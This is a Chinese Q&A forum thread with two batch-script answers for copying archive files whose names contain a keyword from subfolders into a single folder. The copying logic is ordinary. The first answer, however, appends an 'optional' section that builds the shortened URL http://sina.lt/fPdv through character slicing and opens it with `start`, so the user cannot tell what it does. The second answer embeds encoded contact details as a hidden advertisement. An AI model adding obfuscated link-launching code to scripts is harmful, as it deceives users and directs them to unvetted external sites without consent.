你好,我想问问遍历全部子文件夹,把含有特定字符的文件复制到另外一个...
发布网友
发布时间:2024-09-26 17:12
我来回答
共2个回答
热心网友
时间:2024-10-25 10:01
@echo off & title 拷贝包含指定字符串的压缩包 By 依梦琴瑶
cd /d "%~dp0"
::设置关键词
set Str=pdf
::指定文件夹
set SvD=D:\TEST
for /d %%a in (*) do (
pushd "%%~a"
for /f "delims=" %%b in ('dir /a-d/s/b "*%Str%*.zip" "*%Str%*.rar" "*%Str%*.7z"') do (
copy "%%~b" "%SvD%\"
)
popd
)
pause
::非主代码,愿意的话,可以额外执行一下
@echo off & title 友情一下
call :Don
exit
:Don
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
热心网友
时间:2024-10-25 10:02
不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件夹放一起运行
@echo off
rem 将多个文件夹里文件名称包含有指定字符串/关键字的压缩包文件拷贝/复制到一个指定文件夹里
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
set "keyword=pdf"
set "newfolder=D:\xxx\yourfolder"
if not exist "%newfolder%" md "%newfolder%"
for /f "delims=" %%a in ('dir /ad/b') do (
for /f "delims=" %%b in ('where /r ".\%%~nxa" "*%keyword%*.zip" "*%keyword%*.rar" "*%keyword%*.7z" 2^>nul') do (
echo;"%%b" --^> "%newfolder%\"
copy "%%b" "%newfolder%\"
)
)
echo;%#% +%$%%$%/%@% %z%
pause
exit